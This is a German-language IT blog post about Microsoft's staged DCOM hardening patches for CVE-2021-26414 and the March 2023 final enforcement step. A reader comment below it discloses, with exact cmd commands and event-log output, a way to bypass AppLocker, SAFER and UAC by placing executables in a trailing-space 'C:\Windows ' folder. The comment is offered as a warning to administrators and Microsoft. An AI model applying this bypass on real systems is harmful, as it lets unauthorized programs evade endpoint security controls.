DCOM-Härtung (CVE-2021-26414) zum 14. März 2023-Patchday für Windows 10/11 und Server

Publiziert am 5. März 2023 von Günter Born

Windows[English]Kleine Erinnerung für Administratoren von Windows in Unternehmensumgebungen. In Microsofts Windows DCOM-Implementierung gibt es eine Schwachstelle (Windows DCOM Server Security Feature Bypass, CVE-2021-26414), die eine Umgehung der Sicherheitsfunktionen ermöglichte. Microsoft hat das 2021 dokumentiert, und dann auch gepatcht, wobei das Schließen dieser Schwachstelle in mehreren Stufen erfolgt. Kürzlich wurde ich erinnert, dass Microsoft am 14. März 2023 einen letzten Patch freigeben wird, der die Möglichkeit zum Abschalten dieser DCOM-Härtung entfernt.

Anzeige

DCOM Schwachstelle CVE-2021-26414

Das OPC Data Access (OPC DA)-Protokoll wurde 1995 eingeführt, um die Kommunikation von Echtzeitdaten zwischen der speicherprogrammierbaren Steuerung (SPS/PLC) und der Software in OT-Netzwerken zu ermöglichen. OPC DA basiert jedoch auf der DCOM-Technologie, die Sicherheitsschwachstellen aufweist. Im Jahr 2008 führte Microsoft das nicht DCOM-abhängige OPC Unified Architecture (OPC UA)-Protokoll ein, aber viele Industrieunternehmen nutzen immer noch OPC DA.

Stufenweises patchen der Schwachstelle

Im Jahr 2021 räumte Microsoft eine kritische Schwachstelle in seinem DCOM-Protokoll ein und kündigte einen Härtungspatch an, um die Authentifizierung zwischen DCOM-Clients und -Servern zu stärken. Um Betriebsunterbrechungen zu minimieren, wurde der Patch in mehreren Phasen veröffentlicht.

  • Der erste Patch vom 8. Juni 2021 führte die Härtung der schwachen Authentifizierungsebenen in DCOM durch, aber die Option war noch deaktiviert. Windows bot aber die Möglichkeit, diese Härtung per Registrierung zu aktivieren.
  • Der zweite Patch vom 14. Juni 2022 erzwang die Härtung standardmäßig mit der Option, dies per Registrierungseingriff wieder zu deaktivieren.
  • Der Rollout des dritten DCOM-Härtungspatches zum 8. November 2022  bot die Möglichkeit RaiseActivationAuthenticationLevel =2 zu setzen. Dies erhöhte automatisch alle nicht-anonymen Aktivierungsanfragen von DCOM-Clients auf RPC_C_AUTHN_LEVEL_PKT_INTEGRITY.
  • Am 14. März 2023 wird Microsoft einen neuen Patch herausgeben, der die Option, ungesichertes DCOM per Registrierungseintrag zu aktivieren, entfernt.

Microsoft hat dazu den Support-Beitrag KB5004442—Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) mit weiteren Erläuterungen veröffentlicht und gibt an, dass folgende Windows-Versionen davon betroffen seien:

  • Windows 11  21H2 – 22H2
  • Windows Server 2022
  • Windows 10, Version 2004 – 21H1, Windows Server, Version 20H2
  • Windows 10 Enterprise, Version 1909
  • Windows 10 IoT Enterprise, Version 1909
  • Win 10 Enterprise LTSC Version 2019
  • Windows 10 IoT Enterprise LTSC Version 2019
  • Windows Server 2019
  • Windows 10, Version 1607, Windows Server 2016
  • Windows 8. 1, Windows Server 2012 R2
  • Windows Embedded 8.1 Industry Enterprise
  • Windows Server 2012
  • Windows Embedded 8 Standard
  • Windows 7, Windows Server 2008 R2
  • Windows Embedded Standard 7 ESU
  • Windows Embedded POSReady 7 ESU
  • Windows Thin PC Windows Server 2008

Microsoft empfiehlt Administratoren diesen Härtungspatch zu installieren. Allerdings sind Windows 7 SP1 und Windows 8.1 aus dem Support gefallen und werden im März 2023 wohl keine Sicherheitsupdates mehr bekommen. Gleiches gilt wohl für Windows 10 Version 2004.

Ähnliche Artikel:
Windows-Schwachstelle CVE-2021-36942 (Petitpotam) und DCOM-Härtung
Microsoft Sicherheitsrevisionen (27.1.2022)
OTORIO DCOM Hardening Toolkit für Windows für OT-Systeme veröffentlicht
Microsoft Security Update Revisions: Windows-Schwachstelle CVE-2021-26414 (24. Feb. 2022)
Revision von CVE-2021-26414 (Windows DCOM Server Security Feature Bypass) vom 28. Juni 2022
Patchday-Nachlese Juni 2022: Probleme mit Windows-Updates, Intel-Schwachstelle, Dokumentation

Cookies blockieren entzieht uns die Finanzierung: Cookie-Einstellungen
Dieser Beitrag wurde unter Update, Windows, Windows 10, Windows Server abgelegt und mit , , , , verschlagwortet. Setze ein Lesezeichen auf den Permalink.

11 Antworten zu DCOM-Härtung (CVE-2021-26414) zum 14. März 2023-Patchday für Windows 10/11 und Server

  1. 1ST1 sagt:
    7. März 2023 um 15:03 Uhr

    Hat auch was mit Windows-Härtung zu tun… (Und ich bin gerade ziemlich entsetzt darüber…)

    Mir ist es gerade als normaler Benutzer gelungen, mit einfachstem Mittel den Applocker, SAFER und UAC zu umgehen. Ausgangspunkt: CMD.exe ohne lokale Adminrechte (ist ein separater Benutzer)

    Schon ein seltsammes Verhalten:

    md "c:\Windows "
    Ein Unterverzeichnis oder eine Datei mit dem Namen "Windows " existiert bereits.

    Man beachte dass für cmd "Windows" und "Windows " das Gleiche ist. Lässt sich aber austricksen…

    md "\\?\C:\Windows "
    md "\\?\C:\Windows \system32"
    copy c:\users\1ST1\downloads\harmlose.exe "\\?\C:\Windows \system32"
    start "\\?\C:\Windows \system32\harmlose.exe"

    Im Eventviewer, Microsoft-Windows-AppLocker/EXE and DLL
    Event 8002, Applocker: Die Ausführung von %osdrive%\windows \system32\harmlose.exe wurde zugelassen.

    copy c:\users\1ST1\downloads\harmlose_setup.exe "\\?\C:\Windows \system32"
    start "\\?\C:\Windows \system32\harmlose_setup.exe"

    Im Eventviewer, Microsoft-Windows-AppLocker/Packaged app-Deployment
    Event 8023, Applocker: Die Installation von %osdrive%\windows \system32\harmlose_setup.exe wurde zugelassen.

    Und UAC meldet sich bei der setup.exe auch nicht.

    In Applocker per GPO gibt es folgende Regeln für EXE und DLL, alternativ, beide werden überlistet:
    Allow everyone c:\windows\*
    Allow everyone %systemroot%\*
    Wie man sieht, ist dort vor "\*" kein Leerzeichen. (Man darf bloß nicht beide gleichzeitig ausschalten… :-X Auf garkeinen Fall! Wirklich! Sonst ist Sense… R.I.P.)

    copy c:\users\1ST1\downloads\von_av_ausgeschlossenes_verzeichnis\eicar.exe "\\?\C:\Windows \system32"
    -> Dabei schlägt wenigstens der Antivirus zu und verhindert schlimmeres.

    Was passiert da? Gesehen?

    Der Trick ist das Leerzeichen " " zwischen "Windows" und dem Backslash "\". Das wird von CMD, Applocker, Safer und UAC nicht richtig geprüft. Powershell wahrscheinlich auch nicht… In c:\ gibts gerade zwei Windows-Ordner untereinander…, genauer:

    "c:\windows"
    "c:\windows "

    Seht ihr den Unterschied? Wenn man in den Zweiten rein geht, sieht man komischerweise alle Dateien und Ordner aus dem Ersten. Im Ordner "c:\windows \system32" liegt aber nach obigem Test nur harmlose.exe und harmlose_setup.exe. Dagegen in "c:\windows\system32" liegt alles rum, was da hin gehört. Das Ganze funktioniert übrigens auch mit "%programfiles% ", "program files " und "program files (x86) "…

    Grundlage des Tests war dieser Artikel.

    WTF!?!?!?

    Abhilfe? Per Applocker/SAFER "c:\windows \*" zu sperren, traue ich mich nicht, weil das garantiert auch verwechselt wird… Vielleicht "c:\windows?\*" sperren? Sieht erfolgsversprechend aus, aber was ist dann mit "c:\windows??\*", "c:\windows???\*", … (oder geht "c:\windows?*\*" ???) – risky…

    Hilfe, Redmond!!! (Patchday ist erst am 14., also noch 1 Woche Zeit, das zu patchen…)

    Antworten
  2. 1ST1 sagt:
    7. März 2023 um 15:18 Uhr

    Mein Kommentar ist weg.

    Antworten

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Hinweis: Bitte beachtet die Regeln zum Kommentieren im Blog (Erstkommentare und Verlinktes landet in der Moderation, gebe ich alle paar Stunden frei, SEO-Posts/SPAM lösche ich rigoros). Kommentare abseits des Themas bitte unter Diskussion.